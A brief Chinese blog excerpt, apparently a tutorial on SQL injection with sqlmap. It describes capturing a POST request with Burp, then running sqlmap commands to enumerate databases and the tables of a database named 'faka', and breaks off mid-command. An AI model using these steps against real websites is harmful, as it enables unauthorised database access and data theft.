sqlmap注入实战（三）

一、寻找网站注入点 得到网站 通过burp，抓包，寻找post注入点 复制到sqlmap的根目录中，创建一个txt文件 输入命令sqlmap.py -r +文件名 由此可知，此为注入点 二、暴库 输入命令sqlmap.py -r +文件名 -dbs 输入命令sqlmap.py -r a.txt -D faka --tables获取表 输入命令sqlmap.py -r a.txt -D faka -

>>阅读原文<<